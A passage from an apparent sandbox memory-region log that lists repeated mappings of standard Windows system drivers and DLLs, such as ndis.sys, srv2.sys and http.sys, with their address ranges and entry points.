"winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6301 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6302 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6303 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6304 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6305 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6306 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6307 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6308 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6309 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6310 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6311 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6312 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6313 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6314 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6315 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6316 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6317 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6318 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6319 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6320 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6321 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6322 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6323 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6324 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6325 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6326 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6327 start_va = 0xe10000 end_va = 0xe1dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6328 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6329 start_va = 0xe10000 end_va = 0xe1dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6330 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6331 start_va = 0x2a10000 end_va = 0x2ba1fff monitored = 0 entry_point = 0x2a2be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6332 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6333 start_va = 0x2a10000 end_va = 0x2ba1fff monitored = 0 entry_point = 0x2a2be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6334 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6335 start_va = 0x2a10000 end_va = 0x2ba1fff monitored = 0 entry_point = 0x2a2be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6336 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6337 start_va = 0x2a10000 end_va = 0x2ba1fff monitored = 0 entry_point = 0x2a2be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6338 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6339 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6340 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6341 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6342 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6343 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6344 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6345 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6346 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6347 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6348 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6349 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6350 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 6351 start_va = 0x11d0000 end_va = 0x12a8fff monitored = 0 entry_point = 0x11f7860 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 6352 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 6353 start_va = 0x11d0000 end_va = 0x12a8fff monitored = 0 entry_point = 0x11f7860 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 6354 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6355 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6356 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6357 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6358 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6359 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6360 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6361 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6362 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6363 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6364 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6365 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6366 start_va = 0xe00000 end_va = 0xe49fff monitored = 0 entry_point = 0xe3c380 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 6367 start_va = 0x11d0000 end_va = 0x11d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 6368 start_va = 0xe00000 end_va = 0xe49fff monitored = 0 entry_point = 0xe3c380 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 6369 start_va = 0x11d0000 end_va = 0x11d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 6370 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6371 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6372 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6373 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6374 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6375 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6376 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6377 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6378 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6379 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6380 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6381 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6382 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6383 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6384 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6385 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6386 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6387 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6388 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6389 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6390 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6391 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6392 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6393 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6394 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6395 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6396 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6397 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6398 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6399 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6400 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6401 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6402 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6403 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6404 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6405 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6406 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6407 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6408 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6409 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6410 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6411 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = 